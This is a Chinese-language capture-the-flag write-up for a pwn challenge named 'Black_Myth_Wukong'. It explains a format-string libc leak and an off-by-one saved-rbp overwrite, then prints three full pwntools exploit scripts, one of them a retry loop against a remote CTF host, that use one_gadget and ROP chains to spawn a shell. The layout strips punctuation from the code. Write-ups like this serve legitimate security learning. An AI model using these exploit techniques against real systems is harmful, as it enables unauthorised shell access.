# Black_Myth_Wukong wpchackesc一下文件开启nxpie保护。反编译一下文件%%%d$llx导致有一次栈上任意地址泄露的机会可以泄露libc那么我们先泄露前40个地址的数据看看有没有能用的。多次运行发现偏移 1,17,18,19,25,26,30,31,35,38这些地址最后三位是固定的可能是在libc段那么可以gdb调试用两次地址减去vmmap里libc的基址看是否得到固定偏移。经调试1719都可以就用19吧成功得到libcbase。接着分析程序。如果v2小于等于0x100进入action函数写入v2字节数据到开辟的a1的256数组缓冲区中fread返回写入的字节数那么如果写入256字节到a[0]-a[255]的256字节数组中a[256]0会覆盖掉紧邻 a1 之后的一个字节也就是previous rbp的最低1字节变成00这就是所谓的off-by-one漏洞。所以rbp被破环了函数会跳到a1缓冲区不固定的地方然后我们用one_gadget把a1填满即可获得shell。可以一一尝试第一个就可以打通获得shell拿到flag。但是也有偶尔打不通的时候多尝试几次即可。第二种思路是a1缓冲区里最后3个8字节填为pop_rdibin_shsystem剩下的全填为ret一路滑下去但一直打不通。完整exp如下from pwn import * context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6) io remote(nc1.ctfplus.cn,27385) io process( [./ld-linux-x86-64.so.2, ./main], env{LD_PRELOAD: ./libc.so.6} ) io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) #gdb.attach(io) io.sendline(str(17).encode()) io.recvuntil(bit: ) leak io.recvline().strip().decode() #print(fOffset {19}: {hex(int(leak,16))}) libc_base int(leak,16) - 0x3ec760 log.success(flibc_base: {hex(libc_base)}) libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi,ret]).address ret rop.find_gadget([ret]).address bin_ next(libc.search(b/bin/sh)) system libc.sym[system] ​ one_gadget libc_base 0x4f2a5 io.recvuntil(bmax 256)?\n) io.sendline(b256) payload p64(one_gadget)*32 #payload p64(ret) * 29 p64(pop_rdi) p64(bin_) p64(system) io.send(payload) io.interactive()经过不断调试发现第二种方法行得通是在system函数后面加一个exit0函数防止system函数之后乱跳导致程序GOT EOF。代码如下from pwn import * context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6) io remote(nc1.ctfplus.cn,41941) io process( [./ld-linux-x86-64.so.2, ./main], env{LD_PRELOAD: ./libc.so.6} ) io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) #gdb.attach(io) io.sendline(str(17).encode()) io.recvuntil(bit: ) leak io.recvline().strip().decode() #print(fOffset {19}: {hex(int(leak,16))}) libc_base int(leak,16) - 0x3ec760 log.success(flibc_base: {hex(libc_base)}) libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi,ret]).address ret rop.find_gadget([ret]).address bin_ next(libc.search(b/bin/sh)) system libc.sym[system] exit_ libc.sym[exit] ​ one_gadget libc_base 0x4f2a5 io.recvuntil(bmax 256)?\n) io.sendline(b256) #payload p64(one_gadget)*32 payload p64(ret) * 26 p64(pop_rdi) p64(bin_) p64(system) p64(pop_rdi) p64(0) p64(exit_) io.send(payload) io.interactive()但此方法打不通的概率远大于one_gadget还有一个重复测试的脚本可以再次记录一下from pwn import * import time ​ context(archamd64, oslinux, log_leveldebug) libc ELF(./libc.so.6, checksecFalse) ​ HOST nc1.ctfplus.cn PORT 41941 MAX_TRY 40 ​ for i in range(1, MAX_TRY 1): log.info(ftry {i}/{MAX_TRY}) io remote(HOST, PORT) ​ try: io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) ​ io.sendline(b17) io.recvuntil(bit: ) leak int(io.recvline().strip(), 16) ​ libc_base leak - 0x3ec760 log.success(fleak {hex(leak)}) log.success(flibc_base {hex(libc_base)}) ​ libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi, ret]).address ret rop.find_gadget([ret]).address bin_sh next(libc.search(b/bin/sh\x00)) system libc.sym[system] exit_ libc.sym[exit] ​ io.recvuntil(bmax 256)?\n) io.sendline(b256) ​ payload ( p64(ret) * 26 p64(pop_rdi) p64(bin_sh) p64(system) p64(pop_rdi) p64(0) p64(exit_) ) io.send(payload) ​ # 先吃掉程序自己还没打完的输出避免误判 time.sleep(0.2) leftover io.recvrepeat(0.5) if leftover: log.info(fleftover: {leftover!r}) ​ # 给 shell 一点接管时间再探测 io.sendline(becho PWNED) time.sleep(0.2) data io.recvrepeat(0.8) ​ if bPWNED in data: log.success(fsuccess on try {i}) io.interactive() break ​ log.warning(ffailed on try {i}) io.close() ​ except EOFError: log.warning(fEOF on try {i}) io.close() except Exception as e: log.warning(fexception on try {i}: {e}) io.close() else: log.failure(all tries failed)